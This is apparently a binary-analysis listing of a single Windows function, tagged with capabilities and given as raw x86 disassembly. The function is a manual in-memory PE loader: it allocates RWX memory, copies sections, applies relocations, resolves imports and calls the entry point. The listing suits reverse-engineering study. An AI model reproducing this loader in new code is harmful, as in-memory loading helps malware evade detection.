Function at 0x41b77c
Capabilities:
Allocate or change rwx memory
Enumerate pe sections
Execute shellcode via indirect call

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffc4
mov dword [esp], eax
mov eax, dword [esp]
mov dword [esp + 4], eax
mov eax, dword [esp + 4]
mov eax, dword [eax + 0x3c]
add eax, dword [esp + 4]
mov dword [esp + 4], eax
mov eax, dword [esp + 4]
mov dword [esp + 8], eax
push 0x40
push 0x1000
mov eax, dword [esp + 0x10]
mov eax, dword [eax + 0x50]
push eax
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov edi, eax
mov eax, dword [esp + 8]
mov ecx, dword [eax + 0x54]
mov edx, dword [esp]
mov eax, edi
call fcn.0041b62c
mov eax, dword [esp + 8]
movzx edx, word [eax + 0x14]
add edx, 0x18
mov eax, dword [esp + 4]
call fcn.0041b6cc
mov dword [esp + 4], eax
mov eax, dword [esp + 8]
movzx ebx, word [eax + 6]
dec ebx
test ebx, ebx
jl 0x41b861
inc ebx
mov dword [esp + 0xc], 0
mov edx, dword [esp + 0xc]
add edx, edx
add edx, edx
add edx, edx
lea edx, [edx + edx*4]
mov eax, dword [esp + 4]
call fcn.0041b6cc
mov ebp, eax
mov esi, dword [ebp + 8]
mov eax, dword [ebp + 0x10]
mov dword [esp + 0x20], eax
mov edx, dword [ebp + 0xc]
mov eax, edi
call fcn.0041b6cc
mov dword [esp + 0x24], eax
mov edx, esi
mov eax, dword [esp + 0x24]
call fcn.0041b678
mov edx, dword [esp + 0x20]
mov eax, esi
call fcn.0041b6dc
push eax
mov edx, dword [ebp + 0x14]
mov eax, dword [esp + 4]
call fcn.0041b6cc
mov edx, eax
mov eax, dword [esp + 0x28]
pop ecx
call fcn.0041b62c
inc dword [esp + 0xc]
dec ebx
jne 0x41b7fb
mov eax, dword [esp + 8]
mov edx, dword [eax + 0x34]
mov eax, edi
call fcn.0041b6d8
mov dword [esp + 0x10], eax
mov eax, dword [esp + 8]
mov eax, dword [eax + 0xa4]
mov dword [esp + 0x14], eax
mov eax, dword [esp + 8]
mov edx, dword [eax + 0xa0]
mov eax, edi
call fcn.0041b6cc
mov dword [esp + 0x18], eax
mov ebp, dword [esp + 0x18]
jmp 0x41b8f8
mov eax, dword [ebp + 4]
sub eax, 8
shr eax, 1
mov dword [esp + 0x28], eax
mov edx, 8
mov eax, ebp
call fcn.0041b6cc
mov esi, eax
mov ebx, dword [esp + 0x28]
dec ebx
test ebx, ebx
jl 0x41b8f6
inc ebx
test byte [esi + 1], 0xf0
je 0x41b8f0
mov edx, dword [ebp]
movzx eax, word [esi]
and ax, 0xfff
movzx eax, ax
add edx, eax
mov eax, edi
call fcn.0041b6cc
mov dword [esp + 0x30], eax
mov eax, dword [esp + 0x30]
mov eax, dword [eax]
add eax, dword [esp + 0x10]
mov edx, dword [esp + 0x30]
mov dword [edx], eax
add esi, 2
dec ebx
jne 0x41b8c0
mov ebp, esi
mov edx, dword [esp + 0x18]
mov eax, ebp
call fcn.0041b6d4
cmp eax, dword [esp + 0x14]
jb 0x41b89c
mov eax, dword [esp + 8]
mov edx, dword [eax + 0x80]
mov eax, edi
call fcn.0041b6cc
mov dword [esp + 0x1c], eax
jmp 0x41b9aa
mov eax, dword [esp + 0x1c]
mov edx, dword [eax + 0xc]
mov eax, edi
call fcn.0041b6cc
mov dword [esp + 0x34], eax
mov eax, dword [esp + 0x34]
push eax
call sub.kernel32.dll_LoadLibraryA_1
mov dword [esp + 0x38], eax
mov eax, dword [esp + 0x1c]
cmp dword [eax + 4], 0
jne 0x41b95f
mov eax, dword [esp + 0x1c]
mov edx, dword [eax + 0x10]
mov eax, edi
call fcn.0041b6cc
mov ebx, eax
jmp 0x41b9a0
mov eax, dword [esp + 0x1c]
mov edx, dword [eax]
mov eax, edi
call fcn.0041b6cc
mov ebx, eax
jmp 0x41b9a0
mov ebp, dword [ebx]
test ebp, 0x80000000
je 0x41b984
mov esi, ebp
and esi, 0xffff
jmp 0x41b990
mov edx, ebp
mov eax, edi
call fcn.0041b6cc
lea esi, [eax + 2]
push esi
mov eax, dword [esp + 0x3c]
push eax
call sub.kernel32.dll_GetProcAddress_2
mov dword [ebx], eax
add ebx, 4
cmp dword [ebx], 0
jne 0x41b970
add dword [esp + 0x1c], 0x14
mov eax, dword [esp + 0x1c]
cmp dword [eax + 0xc], 0
jne 0x41b923
mov eax, dword [esp + 8]
mov eax, dword [eax + 0x50]
push eax
push edi
call sub.kernel32.dll_GetCurrentProcess
push eax
call sub.kernel32.dll_FlushInstructionCache
mov eax, dword [esp + 8]
mov ebx, dword [eax + 0x28]
test ebx, ebx
je 0x41b9f4
mov edx, ebx
mov eax, edi
call fcn.0041b6cc
mov ebx, eax
test ebx, ebx
je 0x41b9f4
push 0
push 1
push edi
call ebx
push 0
push 2
push edi
call ebx
mov eax, edi
add esp, 0x3c
pop ebp
pop edi
pop esi
pop ebx
ret